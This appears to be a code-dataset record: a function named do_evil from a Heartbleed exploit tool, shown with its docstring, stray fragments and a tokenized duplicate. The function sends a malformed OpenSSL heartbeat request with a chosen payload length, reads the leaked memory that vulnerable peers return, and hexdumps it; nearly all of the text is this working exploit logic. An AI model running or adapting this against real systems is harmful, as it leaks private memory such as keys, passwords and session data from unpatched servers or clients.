(self)
return True
Returns True if memory *may* be acquired
Returns True if memory *may* be acquired
Returns True if memory * may * be acquired
def do_evil(self):
        '''Returns True if memory *may* be acquired'''
        # (2) HeartbeatRequest
        self.request.sendall(make_heartbeat(self.sslver, self.args.payload_len))

        # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent
        memory = read_hb_response(self.request, self.args.timeout)

        # If memory is None, then it is not vulnerable for sure. Otherwise, if
        # empty, then it *may* be invulnerable
        if memory is not None and not memory:
            print("Possibly not vulnerable")
            return False
        elif memory:
            print('Client returned {0} ({0:#x}) bytes'.format(len(memory)))
            hexdump(memory)

        return True
def do_evil ( self ) : # (2) HeartbeatRequest self . request . sendall ( make_heartbeat ( self . sslver , self . args . payload_len ) ) # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent memory = read_hb_response ( self . request , self . args . timeout ) # If memory is None, then it is not vulnerable for sure. Otherwise, if # empty, then it *may* be invulnerable if memory is not None and not memory : print ( "Possibly not vulnerable" ) return False elif memory : print ( 'Client returned {0} ({0:#x}) bytes' . format ( len ( memory ) ) ) hexdump ( memory ) return True